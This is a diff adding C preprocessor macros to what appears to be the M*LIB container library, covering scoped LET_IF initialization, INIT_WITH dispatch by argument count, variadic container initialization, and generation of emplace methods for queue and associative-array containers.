+#define M_LET_IF(init, test, ...)                                             \
+  M_IF_NARGS_EQ1(__VA_ARGS__)                                                 \
+  (                                                                           \
+   M_LET_IF_INTERNAL (init, test, __VA_ARGS__, (void)0, M_C(m_var_, __LINE__)), \
+   M_LET_IF_INTERNAL (init, test, __VA_ARGS__, M_C(m_var_, __LINE__))         \
+  )
+
+#define M_LET_IF_INTERNAL(init, test, clear, else_a, cont)                    \
+  for(bool cont = true; cont; cont = false)                                   \
+    for( init ; cont && ( (test) || (else_a, false) ); cont = false)          \
+      M_DEFER_INTERNAL(M_C(cont, defer), clear )
+
+
+
+/************************************************************/
+/******************* INIT_WITH Enhancing ********************/
+/************************************************************/
+
+/* Add as suffix for the given function the number of arguments of the calls
+   equal to __ # NARGS(...)
+   Can be used to call different function in function of the number of arguments.
+   It doesn't call the function with the argument in order to be able to chain the 
+   macro */
+#define M_BY_NARGS(function, ...) M_C3(function, __, M_NARGS(__VA_ARGS__))
+
+/* Call different methods in function of the number of arguments of the call,
+ * to be used in an OPLIST for the INIT_WITH operator.
+ * Shall be used with API_1 call (example INIT_WITH(API_1(M_INIT_WITH_NVAR)) )
+ * Shall define a NAME base method
+ * All INIT_WITH methods shall be named as name ## _init_with__ ## NARGS
+ */
+#define M_INIT_WITH_NVAR(oplist, ...)                                         \
+  M_BY_NARGS(M_C(M_GET_NAME oplist, _init_with), __VA_ARGS__)(__VA_ARGS__)
+
+
+/* Initialize the container 'dest' as per 'oplist' INIT operator
+   and fill it with the given VA_ARGS arguments with the PUSH operator.
+   NOTE: If the REVERSE operator exists, it assumes a list,
+   so it reverses the final order.
+*/
+#define M_INIT_VAI(oplist, dest, ...)                                         \
+  (void)(M_CALL_INIT(oplist, dest) ,                                          \
+         M_MAP2_C(M_INIT_VAI_FUNC, (dest, oplist) , __VA_ARGS__)              \
+         M_IF_METHOD(REVERSE, oplist)(M_DEFERRED_COMMA M_CALL_REVERSE(oplist, dest), ) \
+         )
+#define M_INIT_VAI_FUNC(d, a)                                                 \
+  M_CALL_PUSH(M_PAIR_2 d, M_PAIR_1 d, a)
+
+
+/* Initialize the container 'dest' as per 'oplist' INIT operator
+   and fill it with the given VA_ARGS arguments with the _push_back_raw method
+   allowing INIT_WITH operator for the pushed argument if the given
+   argument is between parenthesis, otherwise an INIT_SET is performed.
+   NOTE: Parenthesis detection is the best we can do to detect a special
+   argument. The argument may start with '*' or a '+' and we cannot use
+   M_KEYWORD_P with such arguments (as it cannot be concatened).
+   NOTE: If the REVERSE operator exists, it assumes a list,
+   so it reverses the final order.
+*/
+#define M_INIT_WITH_VAI(oplist, dest, ...)                                    \
+  (void)(M_GET_INIT oplist (dest) ,                                           \
+         M_MAP2_C(M_INIT_WITH_VAI22_FUNC, (dest, oplist) , __VA_ARGS__)       \
+         M_IF_METHOD(REVERSE, oplist)(M_DEFERRED_COMMA M_GET_REVERSE oplist(dest), ) \
+         )
+#define M_INIT_WITH_VAI22_FUNC(pair, a)                                       \
+  M_INIT_WITH_VAI23_FUNC(M_PAIR_1 pair, M_PAIR_2 pair, a)
+
+/* We first push a raw new item, and then we get back its pointer using _back.
+  _back (contrary to _push_back_raw) has no side effect, and so is safe to be used
+  in a macro */
+#define M_INIT_WITH_VAI23_FUNC(d, op, a)                                      \
+  (                                                                           \
+    (void) M_C(M_GET_NAME op, _push_back_raw)(d),                             \
+    M_IF(M_PARENTHESIS_P(a))                                                  \
+    (M_CALL_INIT_WITH, M_CALL_INIT_SET)                                       \
+    (M_GET_OPLIST op, *M_C(M_GET_NAME op, _back)(d), M_REMOVE_PARENTHESIS(a)) \
+  )
+
+
+/* Initialize the container 'dest' as per 'oplist' INIT operator
+   and fill it with the given VA_ARGS arguments with the _emplace method
+   if the given argument is between parenthesis, otherwise an _init_set
+   is performed.
+   NOTE: Parenthesis detection is the best we can do to detect a special
+   argument. The argument may start with '*' or a '+' and we cannot use
+   M_KEYWORD_P with such arguments (as it cannot be concatened).
+   NOTE: If the REVERSE operator exists, it assumes a list,
+   so it reverses the final order.
+*/
+#define M_INIT_EMPLACE_VAI(oplist, dest, ...)                                 \
+  (void)(M_GET_INIT oplist (dest) ,                                           \
+         M_MAP2_C(M_INIT_EMPLACE_VAI2_FUNC, (dest, oplist) , __VA_ARGS__)     \
+         M_IF_METHOD(REVERSE, oplist)(M_DEFERRED_COMMA M_GET_REVERSE oplist(dest), ) \
+         )
+#define M_INIT_EMPLACE_VAI2_FUNC(pair, a)                                     \
+  M_INIT_EMPLACE_VAI3_FUNC(M_PAIR_1 pair, M_PAIR_2 pair, a)
+#define M_INIT_EMPLACE_VAI3_FUNC(d, op, a)                                    \
+  (                                                                           \
+    M_IF(M_PARENTHESIS_P(a))                                                  \
+    (M_C(M_GET_NAME op, _emplace)(d, M_REMOVE_PARENTHESIS_3 a),               \
+     M_CALL_PUSH(op, d, a))                                                   \
+  )
+
+
+/* Initialize the container 'dest' as per 'oplist' INIT operator
+   and fill it with the given VA argument
+   assumed to be pair (key,value) with the SET_KEY operator.
+   If key (resp. value) is itself in the form ( ) and the 
+   oplist defined an EMPLACE_TYPE operator, performs an emplace insertion
+   by construction an emplace call with no suffix.
+*/
+#define M_INIT_KEY_VAI(oplist, dest, ...)                                     \
+  (void)(M_GET_INIT oplist (dest) ,                                           \
+         M_MAP2_C(M_INIT_KEY_VAI_FUNC_P1, (dest, oplist) , __VA_ARGS__))
+#define M_INIT_KEY_VAI_FUNC_P1(dst_op, a)                                     \
+  M_INIT_KEY_VAI_FUNC_P2(M_PAIR_1 dst_op, M_PAIR_2 dst_op, M_PAIR_1 a, M_PAIR_2 a)
+#define M_INIT_KEY_VAI_FUNC_P2(dst, oplist, key, value)                       \
+  M_IF(M_AND(M_PARENTHESIS_P(key), M_TEST_METHOD_P(EMPLACE_TYPE, M_GET_KEY_OPLIST oplist))) \
+  (M_INIT_KEY_VAI_FUNC_P2Y, M_INIT_KEY_VAI_FUNC_P2N)(dst, oplist, key, value)
+#define M_INIT_KEY_VAI_FUNC_P2Y(dst, oplist, key, value)                      \
+  M_IF(M_AND(M_PARENTHESIS_P(value), M_TEST_METHOD_P(EMPLACE_TYPE, M_GET_VALUE_OPLIST oplist))) \
+  (M_INIT_KEY_VAI_FUNC_P2YY, M_INIT_KEY_VAI_FUNC_P2YN)(dst, oplist, key, value)
+#define M_INIT_KEY_VAI_FUNC_P2N(dst, oplist, key, value)                      \
+  M_IF(M_AND(M_PARENTHESIS_P(value), M_TEST_METHOD_P(EMPLACE_TYPE, M_GET_VALUE_OPLIST oplist))) \
+  (M_INIT_KEY_VAI_FUNC_P2NY, M_INIT_KEY_VAI_FUNC_P2NN)(dst, oplist, key, value)
+#define M_INIT_KEY_VAI_FUNC_P2YY(dst, oplist, key, value)                     \
+  M_C(M_GET_NAME oplist, _emplace_key_val)                                    \
+  (dst, M_INIT_KEY_VAI_ID key, M_INIT_KEY_VAI_ID value)
+#define M_INIT_KEY_VAI_FUNC_P2YN(dst, oplist, key, value)                     \
+  M_C(M_GET_NAME oplist, _emplace_key)(dst, M_INIT_KEY_VAI_ID key, value)
+#define M_INIT_KEY_VAI_FUNC_P2NY(dst, oplist, key, value)                     \
+  M_C(M_GET_NAME oplist, _emplace_val)(dst, key, M_INIT_KEY_VAI_ID value)
+#define M_INIT_KEY_VAI_FUNC_P2NN(dst, oplist, key, value)                     \
+  M_CALL_SET_KEY(oplist, dst, key, value)
+#define M_INIT_KEY_VAI_ID(a) a
+
+
+/* Provide an INIT_WITH method that uses the EMPLACE_TYPE definition
+   by performing a _Generic selection on the first given argument
+   for all selections that match the number of arguments given to INIT_WITH,
+   and uses the provided init_func functions for constructing the variable.
+   Needs to be defined in the OPLIST with API_1
+   Only LIST based emplace_type supported as we need a dedicated init_func
+   FIXME: M_MAP2 allowed in INIT_WITH? (Seems working)
+*/
+#define M_INIT_WITH_THROUGH_EMPLACE_TYPE(oplist, dst, ...)                    \
+  M_IF(M_TEST_METHOD_P(EMPLACE_TYPE, oplist))                                 \
+    (M_INIT_WITH_EMPLACE_TYPE_2, M_INIT_WITH_NOT_AVAILABLE)                   \
+    (oplist, dst, __VA_ARGS__)
+#define M_INIT_WITH_NOT_AVAILABLE(oplist, dst, ...)                           \
+  M_STATIC_ASSERT(false, M_LIB_ILLEGAL_EMPLACE_TYPE,                          \
+           "Cannot INIT_WITH through EMPLACE_TYPE, such operator is not provided in the given oplist: " #oplist)
+#define M_INIT_WITH_EMPLACE_TYPE_2(oplist, dst, ...)                          \
+  M_INIT_WITH_EMPLACE_TYPE_3(M_GET_EMPLACE_TYPE oplist, oplist, dst, __VA_ARGS__)
+#define M_INIT_WITH_EMPLACE_TYPE_3(emplace_type, oplist, dst, ...)            \
+  M_IF(M_KEYWORD_P(LIST,emplace_type))                                        \
+    (M_INIT_WITH_EMPLACE_TYPE_4, M_INIT_WITH_EMPLACE_TYPE_FAIL)               \
+    (emplace_type, oplist, dst, __VA_ARGS__)
+#define M_INIT_WITH_EMPLACE_TYPE_FAIL(emplace_type, oplist, dst, ...)         \
+  M_STATIC_ASSERT(false, M_LIB_ILLEGAL_EMPLACE_TYPE,                          \
+           "Only LIST based EMPLACE_TYPE with explicit init_func (No INIT_WITH) are supported")
+#define M_INIT_WITH_EMPLACE_TYPE_4(emplace_type, oplist, dst, ...)            \
+  _Generic( M_RET_ARG1( __VA_ARGS__, )                                        \
+        M_MAP2(M_INIT_WITH_EMPLACE_APPLY,                                     \
+           (oplist, dst, M_ADD(2, M_NARGS(__VA_ARGS__)), __VA_ARGS__),        \
+           M_KEYWORD_TO_VA_ARGS(LIST, emplace_type))                          \
+        , default: M_STATIC_ASSERT(M_INIT_WITH_EMPLACE_LIST_ASSERT_COND(emplace_type, __VA_ARGS__), M_LIB_ILLEGAL_EMPLACE_TYPE, \
+                    "Cannot find any matching constructor for the type of "   \
+                    M_AS_STR (M_RET_ARG1( __VA_ARGS__, )                      \
+                    " with " M_AS_STR(M_NARGS(__VA_ARGS__)) " arguments in " M_AS_STR(emplace_type) )) \
+        )
+/* arglist is (oplist, dest, NARGS, args...) emplace_type is (suffix, init_func, types...) */
+#define M_INIT_WITH_EMPLACE_APPLY(arglist, emplace_type)                      \
+  M_IF(M_EQUAL(M_RET_ARG3 arglist, M_NARGS emplace_type))                     \
+    (M_INIT_WITH_EMPLACE_APPLY_2, M_EAT)(arglist, emplace_type)
+#define M_INIT_WITH_EMPLACE_APPLY_2(arglist, emplace_type)                    \
+  , M_RET_ARG3 emplace_type : M_APPLY_API(M_RET_ARG2 emplace_type, M_RET_ARG1 arglist, M_RET_ARG2 arglist M_INIT_WITH_EMPLACE_LIST_VAR((M_TAIL_3 arglist), emplace_type) )
+#define M_INIT_WITH_EMPLACE_LIST_VAR(arglist, emplace_type)                   \
+  M_MAP3( M_INIT_WITH_EMPLACE_LIST_VAR_MULTI_FUNC, emplace_type,              \
+      M_INIT_WITH_EMPLACE_LIST_VAR_ID arglist)
+#define M_INIT_WITH_EMPLACE_LIST_VAR_MULTI_FUNC(emplace_type, num, arg)       \
+  , M_AS_TYPE(M_RET_ARG(M_ADD(num, 2), M_INIT_WITH_EMPLACE_LIST_VAR_ID emplace_type), arg)
+#define M_INIT_WITH_EMPLACE_LIST_VAR_ID(...) __VA_ARGS__ /* M_ID macro */
+// Workaround to provide a nice static failure at compile time if we cannot find a matching type.
+#define M_INIT_WITH_EMPLACE_LIST_ASSERT_COND(emplace_type, ...)               \
+  _Generic( M_RET_ARG1( __VA_ARGS__, )                                        \
+        M_MAP2(M_INIT_WITH_EMPLACE_LIST_ASSERT_COND_APPLY, M_ADD(2, M_NARGS(__VA_ARGS__)), \
+           M_KEYWORD_TO_VA_ARGS(LIST, emplace_type))                          \
+        , default: 0 )
+#define M_INIT_WITH_EMPLACE_LIST_ASSERT_COND_APPLY(args, emplace_type)        \
+  M_IF(M_EQUAL(args, M_NARGS emplace_type))                                   \
+    (M_INIT_WITH_EMPLACE_LIST_ASSERT_COND_APPLY_2, M_EAT)(args, emplace_type)
+#define M_INIT_WITH_EMPLACE_LIST_ASSERT_COND_APPLY_2(args, emplace_type)      \
+  , M_RET_ARG3 emplace_type : 1
+
+
+
+/************************************************************/
+/******************* EMPLACE GENERATION  ********************/
+/************************************************************/
+
+/* Expand to the list of emplace type with their variable name
+   to use in the function declaration (start with a ,) */
+#define M_EMPLACE_LIST_TYPE_VAR(prefix, emplace_type)                         \
+  M_IF(M_PARENTHESIS_P( emplace_type ))(M_EMPLACE_LIST_TYPE_VAR_MULTI, M_EMPLACE_LIST_TYPE_VAR_SINGLE)(prefix, emplace_type)
+#define M_EMPLACE_LIST_TYPE_VAR_MULTI(prefix, emplace_type)                   \
+  M_MAP3(M_EMPLACE_LIST_TYPE_VAR_MULTI_F, prefix, M_ID emplace_type)
+#define M_EMPLACE_LIST_TYPE_VAR_MULTI_F(prefix, num, type)                    \
+  , type const M_C(prefix, num)
+#define M_EMPLACE_LIST_TYPE_VAR_SINGLE(prefix, emplace_type)                  \
+  , emplace_type const prefix
+
+/* Expand to the list of emplace type with their variable name
+   to use in the function declaration (doesn't start with a , but slower) */
+#define M_EMPLACE_LIST_TYPE_VAR_ALTER(prefix, emplace_type)                   \
+  M_IF(M_PARENTHESIS_P( emplace_type ))(M_EMPLACE_LIST_TYPE_VAR_ALTER_MULTI, M_EMPLACE_LIST_TYPE_VAR_ALTER_SINGLE)(prefix, emplace_type)
+#define M_EMPLACE_LIST_TYPE_VAR_ALTER_MULTI(prefix, emplace_type)             \
+  M_MAP3(M_EMPLACE_LIST_TYPE_VAR_ALTER_MULTI_F, prefix, M_ID emplace_type)
+#define M_EMPLACE_LIST_TYPE_VAR_ALTER_MULTI_F(prefix, num, type)              \
+  M_IF(M_EQUAL(1, num))( /*void*/, M_DEFERRED_COMMA) type const M_C(prefix, num)
+#define M_EMPLACE_LIST_TYPE_VAR_ALTER_SINGLE(prefix, emplace_type)            \
+  emplace_type const prefix
+
+/* Expand to the list of variable name based on the the declaration with
+   emplace type to use in the INIT_WITH or specific method call (start with a ,) */
+#define M_EMPLACE_LIST_VAR(prefix, emplace_type)                              \
+  M_IF(M_PARENTHESIS_P( emplace_type ))(M_EMPLACE_LIST_VAR_MULTI, M_EMPLACE_LIST_VAR_SINGLE)(prefix, emplace_type)
+#define M_EMPLACE_LIST_VAR_MULTI(prefix, emplace_type)                        \
+  , M_MAP2_C( M_C, prefix, M_SEQ(1, M_NARGS emplace_type) )
+#define M_EMPLACE_LIST_VAR_SINGLE(prefix, emplace_type)                       \
+  , prefix
+
+
+/* Call either INIT_WITH with the prefixed arguments used for emplace
+   if init_func is the keyword INIT_WITH
+   or with the user provided init_func (otherwise) */
+#define M_EMPLACE_CALL_FUNC(prefix, init_func, oplist, dest, emplace_type)    \
+  M_IF(M_KEYWORD_P(INIT_WITH, init_func))                                     \
+  (M_EMPLACE_CALL_FUNC_INIT_WITH, M_EMPLACE_CALL_FUNC_USER_PROVIDED)          \
+  (prefix, init_func, oplist, dest, emplace_type)
+#define M_EMPLACE_CALL_FUNC_INIT_WITH(prefix, init_func, oplist, dest, emplace_type) \
+   /* If INIT_FUNC==INIT_WITH, classic use of INIT_WITH operator */           \
+   M_CALL_INIT_WITH(oplist, dest M_EMPLACE_LIST_VAR(prefix, emplace_type) )
+#define M_EMPLACE_CALL_FUNC_USER_PROVIDED(prefix, init_func, oplist, dest, emplace_type) \
+   /* Use the user provided init_func instead (with API transformation) */    \
+   M_APPLY_API(init_func, oplist, dest M_EMPLACE_LIST_VAR(prefix, emplace_type) )
+
+
+/* Generate one or several definitions for the EMPLACE methods
+   using the operator EMPLACE_TYPE to get the suitable user types
+   and the user provided macro to expand the function definition.
+   The user provided a macro which prototype is
+   macro(name, name_t, function_name, oplist, init_func, exp_emplace_type)
+   It is suitable for container with a single type of data within.
+   NOTE: Use internally, M_MAP2, M_MAP2_C & M_MAP3
+ */
+#define M_EMPLACE_QUEUE_DEF(name, name_t, function_name, oplist, macro)       \
+  M_ID(                                                                       \
+  M_IF(M_TEST_METHOD_ALTER_P(EMPLACE_TYPE, oplist))                           \
+  (M_EMPLACE_QUEUE_DEF_EXPAND, M_EAT)                                         \
+  (name, name_t, function_name, oplist, macro, M_GET_EMPLACE_TYPE oplist)     \
+                                                                        )
+/* One EMPLACE_TYPE operator is defined ==> Perform the emplace function expansion.
+   If the emplace type starts with parenthesis, it is only one with multiple args */
+#define M_EMPLACE_QUEUE_DEF_EXPAND(name, name_t, function_name, oplist, macro, emplace_type) \
+  M_IF(M_PARENTHESIS_P(emplace_type))                                         \
+  (M_EMPLACE_QUEUE_DEF_SINGLE_EXPAND, M_EMPLACE_QUEUE_DEF_EXPAND_P2)          \
+  (name, name_t, function_name, oplist, macro, emplace_type)
+/* Test if it starts with LIST, in which case, multiple emplace methods have to be defined */
+#define M_EMPLACE_QUEUE_DEF_EXPAND_P2(name, name_t, function_name, oplist, macro, emplace_type) \
+  M_IF(M_KEYWORD_P(LIST, emplace_type))                                       \
+  (M_EMPLACE_QUEUE_DEF_LIST_EXPAND, M_EMPLACE_QUEUE_DEF_SINGLE_EXPAND)        \
+  (name, name_t, function_name, oplist, macro, emplace_type)
+/* Define & expand multiple emplace methods */
+#define M_EMPLACE_QUEUE_DEF_LIST_EXPAND(name, name_t, function_name, oplist, macro, emplace_type) \
+  M_MAP2(M_EMPLACE_QUEUE_DEF_SUFFIX, (name, name_t, function_name, oplist, macro), M_KEYWORD_TO_VA_ARGS(LIST, emplace_type))
+/* Let the arguments be expanded before calling the definition macro */
+#define M_EMPLACE_QUEUE_DEF_SUFFIX(trio, list) M_EMPLACE_QUEUE_DEF_SUFFIX2(M_ID trio, M_ID list)
+/* Let the arguments be expanded before calling the definition macro */
+#define M_EMPLACE_QUEUE_DEF_SUFFIX2(...)       M_EMPLACE_QUEUE_DEF_SUFFIX3(__VA_ARGS__)
+/* Everything is now proprely expanded. Just call the original macro (with a properly expanded emplace type) */
+#define M_EMPLACE_QUEUE_DEF_SUFFIX3(name, name_t, function_name, oplist, macro, sup_suffix, init_func, ...) \
+  macro(name, name_t, M_C_EMPTY(function_name, sup_suffix), oplist, init_func, (__VA_ARGS__) )
+/* Define & expand one emplace method by using the definition macro */
+#define M_EMPLACE_QUEUE_DEF_SINGLE_EXPAND(name, name_t, function_name, oplist, macro, emplace_type) \
+  macro(name, name_t, function_name, oplist, INIT_WITH, emplace_type)
+
+
+/* Generate one or several definitions for the EMPLACE methods
+   using the operator EMPLACE_TYPE to get the suitable user types
+   and the user provided macro to expand the function definition.
+   The user provided three macros which prototype are
+   macro(name, name_t, function_name, key_oplist, val_oplist, key_init_func, val_init_func, key_emplace_type, val_emplace_type)
+   first macro is for generating emplacing with both key & value are emplaced,
+   second macro is for generating emplacing with only key is emplaced,
+   third macro is for generating emplacing with only value is emplaced,
+   It is suitable for associative array containers.
+   NOTE: Use internally, M_MAP2, M_MAP2_C & M_MAP3
+ */
+#define M_EMPLACE_ASS_ARRAY_DEF(name, name_t, function_name, key_oplist, val_oplist, macro_both, macro_key, macro_val) \
+  M_IF(M_TEST_METHOD_ALTER_P(EMPLACE_TYPE, key_oplist))                       \
+  (M_EMPLACE_ASS_ARRAY_DEF_EXPAND_KEY_OR_BOTH, M_EMPLACE_ASS_ARRAY_DEF_EXPAND_VALUE_OR_NONE) \
+  (name, name_t, function_name, key_oplist, val_oplist, macro_both, macro_key, macro_val)
+/* We have a key EMPLACE_TYPE. We can generate key only or both emplace functions */
+#define M_EMPLACE_ASS_ARRAY_DEF_EXPAND_KEY_OR_BOTH(name, name_t, function_name, key_oplist, val_oplist, macro_both, macro_key, macro_val) \
+  M_IF(M_TEST_METHOD_ALTER_P(EMPLACE_TYPE, val_oplist))                       \
+  (M_EMPLACE_ASS_ARRAY_DEF_EXPAND_BOTH, M_EMPLACE_ASS_ARRAY_DEF_EXPAND_KEY)   \
+  (name, name_t, function_name, key_oplist, val_oplist, macro_both, macro_key, macro_val, M_GET_EMPLACE_TYPE key_oplist, M_GET_EMPLACE_TYPE val_oplist)
+/* We have a value EMPLACE_TYPE. We can generate value only or no emplace functions */
+#define M_EMPLACE_ASS_ARRAY_DEF_EXPAND_VALUE_OR_NONE(name, name_t, function_name, key_oplist, val_oplist, macro_both, macro_key, macro_val) \
+  M_IF(M_TEST_METHOD_ALTER_P(EMPLACE_TYPE, val_oplist))                       \
+  (M_EMPLACE_ASS_ARRAY_DEF_EXPAND_VAL, M_EAT)                                 \
+  (name, name_t, function_name, key_oplist, val_oplist, macro_val, macro_key, macro_val, M_GET_EMPLACE_TYPE key_oplist, M_GET_EMPLACE_TYPE val_oplist)
+
+/* Generate KEY only emplace functions */
+/* One EMPLACE_TYPE operator is defined ==> Perform the emplace function expansion.
+   If the emplace type starts with parenthesis, it is only one with multiple args */
+#define M_EMPLACE_ASS_ARRAY_DEF_EXPAND_KEY(name, name_t, function_name, key_oplist, val_oplist, macro_both, macro_key, macro_val, key_emp_type, val_emp_type) \
+  M_IF(M_PARENTHESIS_P(key_emp_type))                                         \
+  (M_EMPLACE_ASS_ARRAY_DEF_SINGLE_EXPAND_KEY, M_EMPLACE_ASS_ARRAY_DEF_EXPAND_P2_KEY) \
+  (name, name_t, function_name, key_oplist, val_oplist, macro_both, macro_key, macro_val, key_emp_type, val_emp_type)
+/* Test if it starts with LIST, in which case, multiple emplace methods have to be defined */
+#define M_EMPLACE_ASS_ARRAY_DEF_EXPAND_P2_KEY(name, name_t, function_name, key_oplist, val_oplist, macro_both, macro_key, macro_val, key_emp_type, val_emp_type) \
+  M_IF(M_KEYWORD_P(LIST, key_emp_type))                                       \
+  (M_EMPLACE_ASS_ARRAY_DEF_LIST_EXPAND_KEY, M_EMPLACE_ASS_ARRAY_DEF_SINGLE_EXPAND_KEY) \
+  (name, name_t, function_name, key_oplist, val_oplist, macro_both, macro_key, macro_val, key_emp_type, val_emp_type)
+/* Define & expand multiple emplace methods with the _key prefix */
+#define M_EMPLACE_ASS_ARRAY_DEF_LIST_EXPAND_KEY(name, name_t, function_name, key_oplist, val_oplist, macro_both, macro_key, macro_val, key_emp_type, val_emp_type) \
+  M_MAP2(M_EMPLACE_ASS_ARRAY_DEF_SUFFIX_KEY, (name, name_t, function_name, key_oplist, val_oplist, macro_key, key_emp_type, val_emp_type), M_KEYWORD_TO_VA_ARGS(LIST, key_emp_type))
+/* Let the arguments be expanded before calling the definition macro */
+#define M_EMPLACE_ASS_ARRAY_DEF_SUFFIX_KEY(trio, list) M_EMPLACE_ASS_ARRAY_DEF_SUFFIX2_KEY(M_ID trio, M_ID list)
+/* Let the arguments be expanded before calling the definition macro */
+#define M_EMPLACE_ASS_ARRAY_DEF_SUFFIX2_KEY(...)       M_EMPLACE_ASS_ARRAY_DEF_SUFFIX3_KEY(__VA_ARGS__)
+/* Everything is now proprely expanded. Just call the original macro (with a properly expanded emplace type) */
+#define M_EMPLACE_ASS_ARRAY_DEF_SUFFIX3_KEY(name, name_t, function_name, key_oplist, val_oplist, macro, key_emp_type, val_emp_type, sup_suffix, init_func, ...) \
+  macro(name, name_t, M_C3_EMPTY(function_name, _key, sup_suffix), key_oplist, val_oplist, init_func, val_init_func, (__VA_ARGS__), val_list )
+/* Define & expand one emplace method by using the definition macro */
+#define M_EMPLACE_ASS_ARRAY_DEF_SINGLE_EXPAND_KEY(name, name_t, function_name, key_oplist, val_oplist, macro_both, macro_key, macro_val, key_emp_type, val_emp_type) \
+  macro_key(name, name_t, M_C(function_name, _key), key_oplist, val_oplist, INIT_WITH, none, key_emp_type, val_emp_type)
+
+/* Generate VALUE only emplace functions */
+/* One EMPLACE_TYPE operator is defined ==> Perform the emplace function expansion.
+   If the emplace type starts with parenthesis, it is only one with multiple args */
+#define M_EMPLACE_ASS_ARRAY_DEF_EXPAND_VAL(name, name_t, function_name, key_oplist, val_oplist, macro_both, macro_key, macro_val, key_emp_type, val_emp_type) \
+  M_IF(M_PARENTHESIS_P(val_emp_type))                                         \
+  (M_EMPLACE_ASS_ARRAY_DEF_SINGLE_EXPAND_VAL, M_EMPLACE_ASS_ARRAY_DEF_EXPAND_P2_VAL) \
+  (name, name_t, function_name, key_oplist, val_oplist, macro_both, macro_key, macro_val, key_emp_type, val_emp_type)
+/* Test if it starts with LIST, in which case, multiple emplace methods have to be defined */
+#define M_EMPLACE_ASS_ARRAY_DEF_EXPAND_P2_VAL(name, name_t, function_name, key_oplist, val_oplist, macro_both, macro_key, macro_val, key_emp_type, val_emp_type) \
+  M_IF(M_KEYWORD_P(LIST, val_emp_type))                                       \
+  (M_EMPLACE_ASS_ARRAY_DEF_LIST_EXPAND_VAL, M_EMPLACE_ASS_ARRAY_DEF_SINGLE_EXPAND_VAL) \
+  (name, name_t, function_name, key_oplist, val_oplist, macro_both, macro_key, macro_val, key_emp_type, val_emp_type)
+/* Define & expand multiple emplace methods with the _val prefix */
+#define M_EMPLACE_ASS_ARRAY_DEF_LIST_EXPAND_VAL(name, name_t, function_name, key_oplist, val_oplist, macro_both, macro_key, macro_val, key_emp_type, val_emp_type) \
+  M_MAP2(M_EMPLACE_ASS_ARRAY_DEF_SUFFIX_VAL, (name, name_t, function_name, key_oplist, val_oplist, macro_val, key_emp_type, val_emp_type), M_KEYWORD_TO_VA_ARGS(LIST, val_emp_type))
+/* Let the arguments be expanded before calling the definition macro */
+#define M_EMPLACE_ASS_ARRAY_DEF_SUFFIX_VAL(trio, list) M_EMPLACE_ASS_ARRAY_DEF_SUFFIX2_VAL(M_ID trio, M_ID list)
+/* Let the arguments be expanded before calling the definition macro */
+#define M_EMPLACE_ASS_ARRAY_DEF_SUFFIX2_VAL(...)       M_EMPLACE_ASS_ARRAY_DEF_SUFFIX3_VAL(__VA_ARGS__)
+/* Everything is now proprely expanded. Just call the original macro (with a properly expanded emplace type) */
+#define M_EMPLACE_ASS_ARRAY_DEF_SUFFIX3_VAL(name, name_t, function_name, key_oplist, val_oplist, macro, key_emp_type, val_emp_type, sup_suffix, init_func, ...) \
+  macro(name, name_t, M_C3_EMPTY(function_name, _val, sup_suffix), key_oplist, val_oplist, key_init_func, init_func, val_list, (__VA_ARGS__) )
+/* Define & expand one emplace method by using the definition macro */
+#define M_EMPLACE_ASS_ARRAY_DEF_SINGLE_EXPAND_VAL(name, name_t, function_name, key_oplist, val_oplist, macro_both, macro_key, macro_val, key_emp_type, val_emp_type) \
+  macro_val(name, name_t, M_C(function_name, _val), key_oplist, val_oplist, none, INIT_WITH, key_emp_type, val_emp_type)
+
+/* Generate KEY, VALUE & BOTH emplace functions */
+/* One EMPLACE_TYPE operator is defined ==> Perform the emplace function expansion.
+   If the emplace type starts with parenthesis, it is only one with multiple args */
+#define M_EMPLACE_ASS_ARRAY_DEF_EXPAND_BOTH(name, name_t, function_name, key_oplist, val_oplist, macro_both, macro_key, macro_val, key_emp_type, val_emp_type) \
+  M_EMPLACE_ASS_ARRAY_DEF_EXPAND_KEY(name, name_t, function_name, key_oplist, val_oplist, macro_both, macro_key, macro_val, key_emp_type, val_emp_type) \
+  M_EMPLACE_ASS_ARRAY_DEF_EXPAND_VAL(name, name_t, function_name, key_oplist, val_oplist, macro_both, macro_key, macro_val, key_emp_type, val_emp_type) \
+  M_EMPLACE_ASS_ARRAY_DEF_EXPAND_BOTH_B(name, name_t, function_name, key_oplist, val_oplist, macro_both, macro_key, macro_val, M_EMPLACE_ASS_ARRAY_DEF_EXPAND_BOTH_EMP_TYPE(key_emp_type), M_EMPLACE_ASS_ARRAY_DEF_EXPAND_BOTH_EMP_TYPE(val_emp_type) )
+/* Transform all supported user forms to the generic LIST form */
+#define M_EMPLACE_ASS_ARRAY_DEF_EXPAND_BOTH_EMP_TYPE(val_emp)                 \
+  M_IF(M_PARENTHESIS_P(val_emp))(M_EMPLACE_ASS_ARRAY_DEF_EXPAND_BOTH_EMP_TYPE_PARENTHESIS, M_EMPLACE_ASS_ARRAY_DEF_EXPAND_BOTH_EMP_TYPE_B)(val_emp)
+#define M_EMPLACE_ASS_ARRAY_DEF_EXPAND_BOTH_EMP_TYPE_B(val_emp)               \
+  M_IF(M_KEYWORD_P(LIST, val_emp))(M_EMPLACE_ASS_ARRAY_DEF_EXPAND_BOTH_EMP_TYPE_LIST, M_EMPLACE_ASS_ARRAY_DEF_EXPAND_BOTH_EMP_TYPE_SINGLE)(val_emp)
+#define M_EMPLACE_ASS_ARRAY_DEF_EXPAND_BOTH_EMP_TYPE_PARENTHESIS(val_emp) LIST( ( , INIT_WITH, M_ID val_emp) )
+#define M_EMPLACE_ASS_ARRAY_DEF_EXPAND_BOTH_EMP_TYPE_SINGLE(val_emp) LIST( ( , INIT_WITH, val_emp) )
+#define M_EMPLACE_ASS_ARRAY_DEF_EXPAND_BOTH_EMP_TYPE_LIST(val_emp) val_emp
+#define M_EMPLACE_ASS_ARRAY_DEF_EXPAND_BOTH_B(name, name_t, function_name, key_oplist, val_oplist, macro_both, macro_key, macro_val, key_emp_type, val_emp_type) \
+  M_CROSS_MAP2(M_EMPLACE_ASS_ARRAY_DEF_SUFFIX_BOTH, (name, name_t, function_name, key_oplist, val_oplist, macro_both, key_emp_type, val_emp_type), ( M_KEYWORD_TO_VA_ARGS(LIST, key_emp_type) ), ( M_KEYWORD_TO_VA_ARGS(LIST, val_emp_type) ) )
+#define M_EMPLACE_ASS_ARRAY_DEF_SUFFIX_BOTH(d, a, b) M_EMPLACE_ASS_ARRAY_DEF_SUFFIX_BOTH_B(M_ID d, a, b)
+#define M_EMPLACE_ASS_ARRAY_DEF_SUFFIX_BOTH_B(...)   M_EMPLACE_ASS_ARRAY_DEF_SUFFIX_BOTH_C(__VA_ARGS__)
